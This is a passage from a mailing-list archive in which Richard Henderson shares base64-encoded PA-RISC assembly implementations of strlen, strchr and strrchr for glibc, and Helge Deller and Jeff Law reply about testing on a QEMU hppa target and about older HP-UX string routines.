Attached are versions of strlen, strchr and strrchr.  They pass simple tests 
within my emulator; I'd be interested to know if they pass full glibc testing 
on real hardware.


Thanks,


r~

--------------6252A3DA0A2F10EFC1B8A841
Content-Type: text/plain; charset=UTF-8;
 name="strlen.S"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="strlen.S"

OyEgSFAtUEEgIHN0cmxlbgoKOyEgQ29weXJpZ2h0IChDKSAyMDE2IEZyZWUgU29mdHdhcmUg
Rm91bmRhdGlvbiwgSW5jLgoKCS50ZXh0CgkuZXhwb3J0CQlzdHJsZW4KCS5iYWxpZ24JCTE2
CnN0cmxlbjoKCS5wcm9jCgkuY2FsbGluZm8JZnJhbWU9MCxub19jYWxscwoJLmVudHJ5CgoJ
OyEgQ29tcHV0ZSB0aGUgbnVtYmVyIG9mIGJ5dGVzIHJlcXVpcmVkIHRvIGFsaWduIHRoZSBw
b2ludGVyLgoJOyEgU2hpZnRpbmcgYnkgMSBnZXRzIHVzIDQgaW5zbnMgdG8gcGxheSB3aXRo
IHBlciBlbnRyeS4KCWxkbwkJLTEoJXIyNiksICVyMjAKCWRlcHcsegkJJXIyMCwgMzAsIDIs
ICVyMjAKCWJscgkJJXIyMCwgJXIwCgkgY29weQkJJXIyNiwgJXIyOAoKCTshIHB0ciAlIDQg
PT0gMQoJbGRiCQkwKCVyMjYpLCAlcjIwCgljbXBpY2xyLD0JMCwgJXIyMCwgJXIwCgliLG4J
CTlmCglsZG8JCTEoJXIyNiksICVyMjYKCgk7ISBwdHIgJSA0ID09IDIKCWxkYgkJMCglcjI2
KSwgJXIyMAoJY21waWNsciw9CTAsICVyMjAsICVyMAoJYixuCQk5ZgoJbGRvCQkxKCVyMjYp
LCAlcjI2CgoJOyEgcHRyICUgNCA9PSAzCglsZGIJCTAoJXIyNiksICVyMjAKCWNtcGljbHIs
PQkwLCAlcjIwLCAlcjAKCWIsbgkJOWYKCWxkbwkJMSglcjI2KSwgJXIyNgoKCTshIHB0ciAl
IDQgPT0gMAoJOyEgTWFpbiBsb29wLiAgVXNlIHRoZSBTb21lIEJ5dGUgWmVybyB1bml0IGNv
bmRpdGlvbiB0byBmaW5kCgk7OyBhIHdvcmQgY29udGFpbmluZyB0aGUgc3RyaW5nIHRlcm1p
bmF0b3IuCjA6CWxkdyxtYQkJNCglcjI2KSwgJXIyMAoJdXhvcixzYnoJJXIwLCAlcjIwLCAl
cjAKCWIsbgkJMGIKCgk7ISBGb3VuZCwgc29tZXdoZXJlIGluIHdpdGggd29yZCBpbiAlcjIw
LiAgVGVzdCBlYWNoIGJ5dGUgaW4KCTshIHNlcXVlbmNlLCBjb21wdXRpbmcgdGhlIGFwcG9w
cmlhdGUgb2Zmc2V0IGZyb20gJXIyNiBpbnRvICVyMjEuCglsZG8JCS0xKCVyMjYpLCAlcjIx
CglleHRydyx1LDw+CSVyMjAsIDIzLCA4LCAlcjAKCWxkbwkJLTIoJXIyNiksICVyMjEKCWV4
dHJ3LHUsPD4JJXIyMCwgMTUsIDgsICVyMAoJbGRvCQktMyglcjI2KSwgJXIyMQoJZXh0cncs
dSw8PgklcjIwLCAgNywgOCwgJXIwCglsZG8JCS00KCVyMjYpLCAlcjIxCglidgkJMCglcjIp
Cgkgc3ViCQklcjIxLCAlcjI4LCAlcjI4CgoJOyEgRm91bmQsIHdpdGggbm8gZGlzcGxhY2Vt
ZW50IG9mZiAlcjI2Lgo5OglidgkJMCglcjIpCgkgc3ViCQklcjI2LCAlcjI4LCAlcjI4CgoJ
LmV4aXQKCS5wcm9jZW5kCg==
--------------6252A3DA0A2F10EFC1B8A841
Content-Type: text/plain; charset=UTF-8;
 name="strchr.S"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="strchr.S"

OyEgSFAtUEEgIHN0cmNocgoKOyEgQ29weXJpZ2h0IChDKSAyMDE2IEZyZWUgU29mdHdhcmUg
Rm91bmRhdGlvbiwgSW5jLgoKCS50ZXh0CgkuZXhwb3J0CQlzdHJjaHIKCS5iYWxpZ24JCTE2
CnN0cmNocjoKCS5wcm9jCgkuY2FsbGluZm8JZnJhbWU9MCxub19jYWxscwoJLmVudHJ5CgoJ
OyEgQ29tcHV0ZSB0aGUgbnVtYmVyIG9mIGJ5dGVzIHJlcXVpcmVkIHRvIGFsaWduIHRoZSBw
b2ludGVyLgoJOyEgTXVsdGlwbHkgYnkgMywgZ2l2aW5nIHVzIDYgaW5zbnMgcGVyIGVudHJ5
IHRvIHdvcmsgd2l0aC4KCWxkbwkJLTEoJXIyNiksICVyMjAKCWV4dHJ3LHUJCSVyMjUsIDMx
LCA4LCAlcjI1CglleHRydyx1CQklcjIwLCAzMSwgMiwgJXIyMAoJc2hsYWRkLGwJJXIyMCwg
MSwgJXIyMCwgJXIyMAoJYmxyCQklcjIwLCAlcjAKCSBjb3B5CQklcjI2LCAlcjI4CgoJOyEg
cHRyICUgNCA9PSAxCglsZGIJCTAoJXIyOCksICVyMjAKCWNtcGNsciw8PgklcjI1LCAlcjIw
LCAlcjAKCWJ2LG4JCTAoJXIyKQoJY21wY2xyLDw+CSVyMCwgJXIyMCwgJXIwCgliLG4JCTlm
CglsZG8JCTEoJXIyOCksICVyMjgKCgk7ISBwdHIgJSA0ID09IDIKCWxkYgkJMCglcjI4KSwg
JXIyMAoJY21wY2xyLDw+CSVyMjUsICVyMjAsICVyMAoJYnYsbgkJMCglcjIpCgljbXBjbHIs
PD4JJXIwLCAlcjIwLCAlcjAKCWIsbgkJOWYKCWxkbwkJMSglcjI4KSwgJXIyOAoKCTshIHB0
ciAlIDQgPT0gMwoJbGRiCQkwKCVyMjgpLCAlcjIwCgljbXBjbHIsPD4JJXIyNSwgJXIyMCwg
JXIwCglidixuCQkwKCVyMikKCWNtcGNsciw8PgklcjAsICVyMjAsICVyMAoJYixuCQk5ZgoJ
bGRvCQkxKCVyMjgpLCAlcjI4CgoJOyEgcHRyICUgNCA9PSAwCglsZHcsbWEJCTQoJXIyOCks
ICVyMjAKCWRlcHcJCSVyMjUsIDIzLCA4LCAlcjI1CglkZXB3CQklcjI1LCAxNSwgMTYsICVy
MjUKCgk7ISBNYWluIGxvb3AuICBVc2UgdGhlIE5vIEJ5dGUgWmVybyB1bml0IGNvbmRpdGlv
biB0byBmaW5kCgk7OyBhIHdvcmQgY29udGFpbmluZyBDIG9yIDAuCjA6CXV4b3IsbmJ6CSVy
MjUsICVyMjAsICVyMAoJYixuCQkxZgoJdXhvcixuYnoJJXIwLCAlcjIwLCAlcjAKCWIsbgkJ
MWYKCWIJCTBiCgkgbGR3LG1hCQk0KCVyMjgpLCAlcjIwCgoJOyEgRm91bmQsIHNvbWV3aGVy
ZSBpbiB3aXRoIHdvcmQgaW4gJXIyMC4KCTshIFRlc3QgZWFjaCBieXRlIGluIHNlcXVlbmNl
LgoxOglleHRydyx1CQklcjI1LCAzMSwgOCwgJXIyNQoKCWV4dHJ3LHUJCSVyMjAsICA3LCA4
LCAlcjIxCglsZG8JCS00KCVyMjgpLCAlcjI4CgljbXBjbHIsPD4JJXIyNSwgJXIyMSwgJXIw
CglidixuCQkwKCVyMikKCWNtcGNsciw8PgklcjAsICVyMjEsICVyMAoJYixuCQk5ZgoKCWV4
dHJ3LHUJCSVyMjAsIDE1LCA4LCAlcjIxCglsZG8JCTEoJXIyOCksICVyMjgKCWNtcGNsciw8
PgklcjI1LCAlcjIxLCAlcjAKCWJ2LG4JCTAoJXIyKQoJY21wY2xyLDw+CSVyMCwgJXIyMSwg
JXIwCgliLG4JCTlmCgoJZXh0cncsdQkJJXIyMCwgMjMsIDgsICVyMjEKCWxkbwkJMSglcjI4
KSwgJXIyOAoJY21wY2xyLDw+CSVyMjUsICVyMjEsICVyMAoJYnYsbgkJMCglcjIpCgljbXBj
bHIsPD4JJXIwLCAlcjIxLCAlcjAKCWIsbgkJOWYKCglleHRydyx1CQklcjIwLCAzMSwgOCwg
JXIyMQoJbGRvCQkxKCVyMjgpLCAlcjI4CgljbXBjbHIsPD4JJXIyNSwgJXIyMSwgJXIwCgli
dixuCQkwKCVyMikKCgk7ISBTdHJpbmcgdGVybWluYXRvciBmb3VuZCBiZWZvcmUgdGhlIHNl
YXJjaCBjaGFyYWN0ZXIuCjk6CWJ2CQkwKCVyMikKCSBsZGkJCTAsICVyMjgKCgkuZXhpdAoJ
LnByb2NlbmQK
--------------6252A3DA0A2F10EFC1B8A841
Content-Type: text/plain; charset=UTF-8;
 name="strrchr.S"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="strrchr.S"

OyEgSFAtUEEgIHN0cnJjaHIKCjshIENvcHlyaWdodCAoQykgMjAxNiBGcmVlIFNvZnR3YXJl
IEZvdW5kYXRpb24sIEluYy4KCgkudGV4dAoJLmV4cG9ydAkJc3RycmNocgoJLmJhbGlnbgkJ
MTYKc3RycmNocjoKCS5wcm9jCgkuY2FsbGluZm8JZnJhbWU9MCxub19jYWxscwoJLmVudHJ5
CgoJOyEgQ29tcHV0ZSB0aGUgbnVtYmVyIG9mIGJ5dGVzIHJlcXVpcmVkIHRvIGFsaWduIHRo
ZSBwb2ludGVyLgoJOyEgTXVsdGlwbHkgYnkgMywgZ2l2aW5nIHVzIDYgaW5zbnMgcGVyIGVu
dHJ5IHRvIHdvcmsgd2l0aC4KCWxkbwkJLTEoJXIyNiksICVyMjAKCWV4dHJ3LHUJCSVyMjUs
IDMxLCA4LCAlcjI1CglleHRydyx1CQklcjIwLCAzMSwgMiwgJXIyMAoJc2hsYWRkLGwJJXIy
MCwgMSwgJXIyMCwgJXIyMAoJYmxyCQklcjIwLCAlcjAKCSA7ISBCZWdpbiBieSBhc3N1bWlu
ZyB0aGF0IEMgaXMgbm90IHByZXNlbnQuCgkgbGRpCQkwLCAlcjI4CgoJOyEgcHRyICUgNCA9
PSAxCglsZGIJCTAoJXIyNiksICVyMjAKCWNtcGNsciw8PgklcjI1LCAlcjIwLCAlcjAKCWNv
cHkJCSVyMjYsICVyMjgKCWNtcGNsciw8PgklcjAsICVyMjAsICVyMAoJYnYsbgkJMCglcjIp
CglsZG8JCTEoJXIyNiksICVyMjYKCgk7ISBwdHIgJSA0ID09IDIKCWxkYgkJMCglcjI2KSwg
JXIyMAoJY21wY2xyLDw+CSVyMjUsICVyMjAsICVyMAoJY29weQkJJXIyNiwgJXIyOAoJY21w
Y2xyLDw+CSVyMCwgJXIyMCwgJXIwCglidixuCQkwKCVyMikKCWxkbwkJMSglcjI2KSwgJXIy
NgoKCTshIHB0ciAlIDQgPT0gMwoJbGRiCQkwKCVyMjYpLCAlcjIwCgljbXBjbHIsPD4JJXIy
NSwgJXIyMCwgJXIwCgljb3B5CQklcjI2LCAlcjI4CgljbXBjbHIsPD4JJXIwLCAlcjIwLCAl
cjAKCWJ2LG4JCTAoJXIyKQoJbGRvCQkxKCVyMjYpLCAlcjI2CgoJOyEgcHRyICUgNCA9PSAw
CglsZHcsbWEJCTQoJXIyNiksICVyMjAKCWNvcHkJCSVyMjUsICVyMjQKCWRlcHcJCSVyMjQs
IDIzLCA4LCAlcjI0CglkZXB3CQklcjI0LCAxNSwgMTYsICVyMjQKCgk7ISBNYWluIGxvb3Au
CjA6CTs7IFRlc3QgZm9yIGEgTlVMIHRlcm1pbmF0b3Igd2l0aGluIHRoZSB3b3JkIGFuZCBl
eGl0IGlmIGZvdW5kLgoJdXhvcixuYnoJJXIwLCAlcjIwLCAlcjAKCWIsbgkJMWYKCgk7OyBU
ZXN0IGZvciBDIHdpdGhpbiB0aGUgd29yZC4gIElmIG5vdCBmb3VuZCwgbG9vcCBhbmQgbG9h
ZCB0aGUKCTs7IG5leHQgd29yZCBpbiB0aGUgZGVsYXkgc2xvdC4gIElmIGZvdW5kLCBsb2Fk
IHRoZSBuZXh0IHdvcmQKCTs7IG5vdyBhbnl3YXksIHNpbmNlIHdlIGtub3cgdGhhdCB3ZSBo
YXZuJ3Qgc2VlbiBlbmQtb2Ytc3RyaW5nLgoJY29weQkJJXIyMCwgJXIyMQoJdXhvcixzYnoJ
JXIyNCwgJXIyMCwgJXIwCgliCQkwYgoJIGxkdyxtYQkJNCglcjI2KSwgJXIyMAoKCTs7IEZv
dW5kIEMgd2l0aGluIHRoZSAiY3VycmVudCIgd29yZC4gIE5vdGUgdGhhdCBpdCBpcyBub3cg
aW4gJXIyMSwKCTs7IGFuZCB0aGUgYWRkcmVzcyBmb3IgdGhlIGJlZ2lubmluZyBvZiB0aGF0
IHdvcmQgaXMgbm93IC04KCVyMjYpLAoJOzsgc2luY2Ugd2UgaGF2ZSBpbmNyZW1lbnRlZCB0
aGUgcG9pbnRlciB0d2ljZSBzaW5jZSB0aGUgbG9hZC4KCWV4dHJ3LHUJCSVyMjEsICA3LCA4
LCAlcjIyCgljbXBjbHIsPD4JJXIyNSwgJXIyMiwgJXIwCglsZG8JCS04KCVyMjYpLCAlcjI4
CgoJZXh0cncsdQkJJXIyMSwgMTUsIDgsICVyMjIKCWNtcGNsciw8PgklcjI1LCAlcjIyLCAl
cjAKCWxkbwkJLTcoJXIyNiksICVyMjgKCglleHRydyx1CQklcjIxLCAyMywgOCwgJXIyMgoJ
Y21wY2xyLDw+CSVyMjUsICVyMjIsICVyMAoJbGRvCQktNiglcjI2KSwgJXIyOAoKCWV4dHJ3
LHUJCSVyMjEsIDMxLCA4LCAlcjIyCgljbXBjbHIsPD4JJXIyNSwgJXIyMiwgJXIwCglsZG8J
CS01KCVyMjYpLCAlcjI4CgoJYixuCQkwYgoKCTshIEZvdW5kIE5VTCBzb21ld2hlcmUgaW4g
d2l0aCB3b3JkIGluICVyMjAsIGxvYWRlZCBmcm9tIC00KCVyMjYpLgoJOyEgVGVzdCBlYWNo
IGJ5dGUgaW4gc2VxdWVuY2UuCjE6CWV4dHJ3LHUJCSVyMjAsICA3LCA4LCAlcjIxCgljbXBj
bHIsPD4JJXIyNSwgJXIyMSwgJXIwCglsZG8JCS00KCVyMjYpLCAlcjI4CgljbXBjbHIsPD4J
JXIwLCAlcjIxLCAlcjAKCWJ2LG4JCTAoJXIyKQoKCWV4dHJ3LHUJCSVyMjAsIDE1LCA4LCAl
cjIxCgljbXBjbHIsPD4JJXIyNSwgJXIyMSwgJXIwCglsZG8JCS0zKCVyMjYpLCAlcjI4Cglj
bXBjbHIsPD4JJXIwLCAlcjIxLCAlcjAKCWJ2LG4JCTAoJXIyKQoKCWV4dHJ3LHUJCSVyMjAs
IDIzLCA4LCAlcjIxCgljbXBjbHIsPD4JJXIyNSwgJXIyMSwgJXIwCglsZG8JCS0yKCVyMjYp
LCAlcjI4CgljbXBjbHIsPD4JJXIwLCAlcjIxLCAlcjAKCWJ2LG4JCTAoJXIyKQoKCTs7IEhh
dmluZyBjaGVja2VkIHRoZSBvdGhlcnMsIHRoZSBsYXN0IGJ5dGUgbXVzdCBiZSBOVUwuCgk7
OyBEbyBjaGVjayBmb3IgdGhlIHVudXN1YWwgY2FzZSBvZiBDID09IE5VTC4KCWNtcGNsciw8
PgklcjI1LCAlcjAsICVyMAoJbGRvCQktMSglcjI2KSwgJXIyOAoJYnYsbgkJMCglcjIpCgoJ
LmV4aXQKCS5wcm9jZW5kCg==
--------------6252A3DA0A2F10EFC1B8A841--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.lib.glibc.alpha
Subject: Aw: hppa qemu and string functions
Date: Wed, 9 Nov 2016 15:51:16 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <trinity-8a5a9da3-1e08-4571-bbfb-b230bd20f15b-1478703076818@3capp-gmx-bs52>
References: <21645bc2-f005-5e60-d26a-41af60e3c035@twiddle.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1478703122 31984 195.159.176.226 (9 Nov 2016 14:52:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 9 Nov 2016 14:52:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "GNU C Library" <libc-alpha@sourceware.org>
To: "Richard Henderson" <rth@twiddle.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 09 15:51:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c4UDm-0004FF-Th
	for glpp-linux-parisc@m.gmane.org; Wed, 09 Nov 2016 15:51:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933004AbcKIOvZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 9 Nov 2016 09:51:25 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:50245 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932167AbcKIOvY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 9 Nov 2016 09:51:24 -0500
Original-Received: from [155.56.68.218] by 3capp-gmx-bs52.server.lan (via HTTP); Wed,
 9 Nov 2016 15:51:16 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <21645bc2-f005-5e60-d26a-41af60e3c035@twiddle.net>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:4q/vGjy+ucO72c8MOpzv1Nc/0aaPRMY4lyx3+f7RQX0
 Xw7pwV5C8To2ClfZINiQ7v2I2sl5PU7NVI8k5EOMAlrMAzCutj
 AUp99SFJrdIwfhndHRJn4gjWhYZttV1MStVSYKvfRbJZ2+Asgc
 UARnSgF/YseiCkKqinBSKzkv/QWHiTRY/GC1yGhcdxQo/omF20
 sMfz5D5UuNqw/MR0o3HWVDqtlBOj08ukbZzDkUugy4xz017qAE
 PcmBWt5wqz5U+WDUj7jD1+p+juAm5WK4Ynibd+WOI1oposYyfC +BGWEI=
X-UI-Out-Filterresults: notjunk:1;V01:K0:/r+V7v840VQ=:uyYGPkwYwR9GLJi9vZ22iL
 qxs8HZHD/hPG49qs5wSfw+Jy1gOXZWjKhrkhNNhLQRFtXVsEOPo9/FW+OVyqfo0ZMRWRF+q2u
 EK0hEPIIERFMOsJO3gyPz/+W7f0OeZcSkXzXkdc1U50W36/aeCtM3KD6QAD8jCiNPL8OM6Rur
 zLfPsns1iuA+SJ7qNRLfK695NnRMgCzPTOTYvl+Kd5iP8Oa+O5vDcSSjjTcX/+sHLWYK6UBOe
 BMh9nK3A1NAIjk6xPkVKTZh6z0eiC7rE9FVR0kq5KBdaKpeLlV6scMIJ6l3q/n1kJm8wL1y1E
 imCCQbXHjNUvnH+M6We3jwXL3xC8OprocHhNX+QxT5oxSLrz40hYQOEFCU6culHpecab4fvcj
 0CVJi+bO/l8e46XydjgdWb+Fjei4SHp/qXhJr+lnZQ9jsWket/NmGTSZULZHmIaBs2Q/jp68w
 Yy60Vg99YQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27039 gmane.comp.lib.glibc.alpha:66929
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27039>

Hi Richard,

> Off and on, I've been working on a user-only target of hppa to qemu.  It's now 
> about 95% working.  If anyone would like to try it out, it's available at
>    git://github.com/rth7680/qemu.git tgt-hppa

COOL!
I'm happy to test, but can you shortly describe the required steps how I can build & test it?

With "user-only target of hppa" I assume this means that I can run hppa binaries
on e.g. x86-64, similiar to what is described here: https://wiki.debian.org/QemuUserEmulation ?

> While implementing the unit-type instructions, I wondered why no one (outside 
> hp?) had written a version of the string routines utilizing the UXOR insn, with 
> the SomeByteZero and NoByteZero conditions.

Interesting.
I assume nobody did, because there are a few hppa/linux/glibc users anyway ? :-)
 
> Attached are versions of strlen, strchr and strrchr.  They pass simple tests 
> within my emulator; I'd be interested to know if they pass full glibc testing 
> on real hardware.

If you like I can give you access to a hppa-linux box...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeff Law <law@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.lib.glibc.alpha
Subject: Re: Aw: hppa qemu and string functions
Date: Wed, 9 Nov 2016 08:51:01 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <32965c22-66ed-3012-a392-5a8aba28aa12@redhat.com>
References: <21645bc2-f005-5e60-d26a-41af60e3c035@twiddle.net>
 <trinity-8a5a9da3-1e08-4571-bbfb-b230bd20f15b-1478703076818@3capp-gmx-bs52>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1478706727 24808 195.159.176.226 (9 Nov 2016 15:52:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 9 Nov 2016 15:52:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org,
        GNU C Library <libc-alpha@sourceware.org>
To: Helge Deller <deller@gmx.de>, Richard Henderson <rth@twiddle.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 09 16:52:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c4V9V-00087q-My
	for glpp-linux-parisc@m.gmane.org; Wed, 09 Nov 2016 16:51:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933161AbcKIPvI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 9 Nov 2016 10:51:08 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:44368 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933095AbcKIPvI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 9 Nov 2016 10:51:08 -0500
Original-Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27])
        (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id 876FB63144;
        Wed,  9 Nov 2016 15:51:07 +0000 (UTC)
Original-Received: from localhost.localdomain (ovpn-116-55.phx2.redhat.com [10.3.116.55])
        by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id uA9Fp7Da017306;
        Wed, 9 Nov 2016 10:51:07 -0500
In-Reply-To: <trinity-8a5a9da3-1e08-4571-bbfb-b230bd20f15b-1478703076818@3capp-gmx-bs52>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.38]); Wed, 09 Nov 2016 15:51:07 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27040 gmane.comp.lib.glibc.alpha:66932
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27040>

On 11/09/2016 07:51 AM, Helge Deller wrote:
> Hi Richard,
>
>> Off and on, I've been working on a user-only target of hppa to qemu.  It's now
>> about 95% working.  If anyone would like to try it out, it's available at
>>    git://github.com/rth7680/qemu.git tgt-hppa
>
> COOL!
> I'm happy to test, but can you shortly describe the required steps how I can build & test it?
>
> With "user-only target of hppa" I assume this means that I can run hppa binaries
> on e.g. x86-64, similiar to what is described here: https://wiki.debian.org/QemuUserEmulation ?
>
>> While implementing the unit-type instructions, I wondered why no one (outside
>> hp?) had written a version of the string routines utilizing the UXOR insn, with
>> the SomeByteZero and NoByteZero conditions.
>
> Interesting.
> I assume nobody did, because there are a few hppa/linux/glibc users anyway ? :-)
Probably a safe assumption.  I'm pretty sure the hpux string routines 
used uxor.  There was also at least one hpux routine in libc which used 
the branch-in-delay-slot-of-branch trick, but I can't recall why it was 
useful.

jeff

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Richard Henderson <rth@twiddle.net>
Newsgroups: gmane.linux.ports.parisc,gmane.comp.lib.glibc.alpha
Subject: Re: Aw: hppa qemu and string functions
Date: Thu, 10 Nov 2016 10:38:51 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <8367e614-68db-c3a2-bb32-c314c42a7b58@twiddle.net>
References: <21645bc2-f005-5e60-d26a-41af60e3c035@twiddle.net>
 <trinity-8a5a9da3-1e08-4571-bbfb-b230bd20f15b-1478703076818@3capp-gmx-bs52>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1478770752 19574 195.159.176.226 (10 Nov 2016 09:39:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 10 Nov 2016 09:39:12 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org,
        GNU C Library <libc-alpha@sourceware.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 10 10:39:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c4low-0004Jk-6U
	for glpp-linux-parisc@m.gmane.org; Thu, 10 Nov 2016 10:38:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752429AbcKJJjB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 10 Nov 2016 04:39:01 -0500
Original-Received: from mail-wm0-f51.google.com ([74.125.82.51]:37771 "EHLO
        mail-wm0-f51.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751664AbcKJJi7 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 10 Nov 2016 04:38:59 -0500
Original-Received: by mail-wm0-f51.google.com with SMTP id t79so19193603wmt.0
        for <linux-parisc@vger.kernel.org>; Thu, 10 Nov 2016 01:38:59 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=qob/Cm35I3/klFPjSfIPe1/g/tafRv+WsxZ5K1a/U8o=;
        b=xnJNbpaUQ9KJg7RiACkx1wCVcYc3+6EjPKpZKi2xrvP6P0VZSSpt3WxgzyXRE8cWdz
         O9J+YaDtxHo3HrOvgY6qgks5tHrHdId93K+yJtylFk7wrXg2FqrmHfuOU1QsSh6Y4LAg
         B6ed8IjuElESKV6rkAWaDdmZp03JVCh5mxWz994tuScpYra6iRXB5qGPwVQXCV/vV6rl
         uhXsRf/RlSLwLYwa3S0FTskoYtW/Gt3H685/UMzD5DV5RLs6NEy199CM25diGFTIuhGJ
         uv6bO92/YXQhsC8GcbWytUPGe8XHonUNuh0c8QfBP9drU7o4bXxAVUVgUMsayOTXSR/W
         qsmA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:sender:subject:to:references:cc:from:message-id
         :date:user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=qob/Cm35I3/klFPjSfIPe1/g/tafRv+WsxZ5K1a/U8o=;
        b=SQ4fITu7M442mes6LvKNS6OurHy48C2BTHWMw4KrNspNV/+YFtzEwhn3Lxvx5A5vWG
         wZn8kABIlkHaQtojxjwsXNaGePvq5odwfMZaI0D95R4eg1cb1HKFvUkqdoTMyOJbAaKH
         Sc6zhPfaBH27BvEkZpqkEO36bhp7PB/LRydqjTNPLZY1sfnEOp1tEsN8zzEVaxKBO2md
         MOo7PjM4Y5v7v9Alv8FxYDxGorYw74HxKbedUN1aBdX2Pp8H7ZRP1nihz3/Il95FrcAq
